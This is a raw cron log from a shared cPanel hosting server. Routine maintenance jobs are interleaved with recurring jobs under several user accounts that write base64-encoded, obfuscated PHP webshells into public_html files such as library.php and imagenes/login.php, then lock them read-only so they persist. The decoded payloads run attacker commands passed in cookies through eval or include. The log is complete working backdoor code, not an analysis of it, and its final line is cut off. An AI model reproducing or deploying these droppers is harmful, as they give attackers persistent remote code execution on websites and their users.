Mar  2 11:08:02 medusa CROND[13237]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 11:08:02 medusa CROND[13247]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:08:02 medusa CROND[13246]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:08:02 medusa CROND[13249]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:08:02 medusa CROND[13265]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:08:02 medusa CROND[13264]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 11:08:02 medusa CROND[13275]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:08:02 medusa CROND[13278]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:09:01 medusa CROND[30221]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:09:02 medusa CROND[30582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:09:02 medusa CROND[30583]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 11:09:02 medusa CROND[30584]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 11:09:02 medusa CROND[30585]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:09:02 medusa CROND[30587]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:09:02 medusa CROND[30591]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:09:02 medusa CROND[30592]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:09:02 medusa CROND[30593]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:09:02 medusa CROND[30590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:09:02 medusa CROND[30602]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:09:02 medusa CROND[30611]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:09:02 medusa CROND[30619]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:10:01 medusa CROND[6832]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 11:10:01 medusa CROND[6888]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 11:10:01 medusa CROND[7181]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 11:10:01 medusa CROND[7180]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 11:10:01 medusa CROND[7182]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:10:01 medusa CROND[7183]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:10:01 medusa CROND[7184]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 11:10:01 medusa CROND[7185]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:10:01 medusa CROND[7189]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoq